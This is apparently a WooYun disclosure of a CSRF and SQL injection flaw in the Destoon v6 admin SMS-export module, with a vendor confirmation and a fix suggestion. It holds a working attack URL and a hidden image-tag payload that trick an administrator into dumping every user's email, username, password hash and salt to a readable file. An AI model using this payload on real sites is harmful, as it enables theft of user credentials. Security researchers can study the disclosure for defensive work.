当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143172

漏洞标题:destoon v6版csrf可导致全站账户密码泄漏

相关厂商:DESTOON

漏洞作者: xiao.k

提交时间:2015-10-10 11:38

修复时间:2016-01-11 15:34

公开时间:2016-01-11 15:34

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-10: 细节已通知厂商并且等待厂商处理中
2015-10-10: 厂商已经确认,细节仅向厂商公开
2015-10-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-04: 细节向核心白帽子及相关领域专家公开
2015-12-14: 细节向普通白帽子公开
2015-12-24: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

对客户端的请求不要太信任。

详细说明:

在程序设计上,destoon对于前台提交的数据过于信任,导致出现了一定的安全问题。
希望官方能重新看一下代码,因为这样的设计还有很多处。
## 利用
首先根据下方的地址,构造链接。把test.com换成你的目标。

http://test.com/admin.php?moduleid=2&file=sendsms&action=make&make=1&tb=destoon_member&field=concat/**/(email,username,password,passsalt)&sql=1=1&num=1000&title=1234&submit=1


你可以把这个请求伪装成图片请求。然后通过站内信,引诱管理员访问此链接。

<img src="http://test.com/admin.php?moduleid=2&file=sendsms&action=make&make=1&tb=destoon_member&field=concat/**/(email,username,password,passsalt)&sql=1=1&num=1000&title=1234&submit=1" height="1" width="1">


当管理员访问此链接以后,可以访问下方的链接,获取目标网站的邮箱、用户名、密码和salt。

http://test.com/file/mobile/20150924_9250_1.txt


20150924是访问链接时的日期。
## 漏洞原理
问题代码在module/member/admin/sendsms.inc.php 33-63行

case 'make':

if(isset($make)) {
$tb or $tb = $DT_PRE.'member';
$field or $field = 'mobile';
$sql or $sql = 'groupid>4';
$sql = stripslashes($page == 1 ? $sql : base64_decode($sql));
$num or $num = 1000;
$pagesize = $num;
$offset = ($page-1)*$pagesize;
if($page == 1) $random = $title ? $title : mt_rand(1000, 9999);
echo $sql;
$result = $db->query("SELECT $field FROM $tb WHERE $sql LIMIT $offset,$pagesize");
$mail = '';
echo "SELECT $field FROM $tb WHERE $sql LIMIT $offset,$pagesize";
while($r = $db->fetch_array($result)) {

if($r[$field]) $mail .= $r[$field]."\r\n";
}
if($mail) {
$filename = timetodate($DT_TIME, 'Ymd').'_'.$random.'_'.$page.'.txt';
file_put(DT_ROOT.'/file/mobile/'.$filename, trim($mail));
$page++;
msg('文件'.$filename.'获取成功。<br/>请稍候,程序将自动继续...', '?moduleid='.$moduleid.'&file='.$file.'&action='.$action.'&tb='.urlencode($tb).'&field='.urlencode($field).'&sql='.urlencode(base64_encode($sql)).'&num='.$num.'&page='.$page.'&random='.urlencode($random).'&make=1');
} else {
msg('列表获取成功', '?moduleid='.$moduleid.'&file='.$file.'&action=list');
}
} else {
include tpl('sendsms_make', $module);
}
break;


sql语句中的 $field 和 $tb 还有 $sql 都是从客户端请求的。在这里我们可以任意构造语句。
大家兴许还看到了

if($page == 1) $random = $title ? $title : mt_rand(1000, 9999);


本来还有个随机数阻挡一下的,但是如果有title变量,随机数都省了。
ps:在实验的时候,官方不能识别concat函数。那么我们字段可以只设置password 然后在sql参数上写限制。例如userid=1.那就只导出第一个用户的密码。

漏洞证明:

本地实验的数据

文件列表.JPG


这个是本地获取到的数据

hash.JPG


这个是官方的hash

官方.JPG


修复方案:

把逻辑问题放到后端处理。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-10 12:20

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

评价

  1. 2015-10-15 16:37 | 生鲜一手 ( 路人 | Rank:26 漏洞数:4 | null)

    围观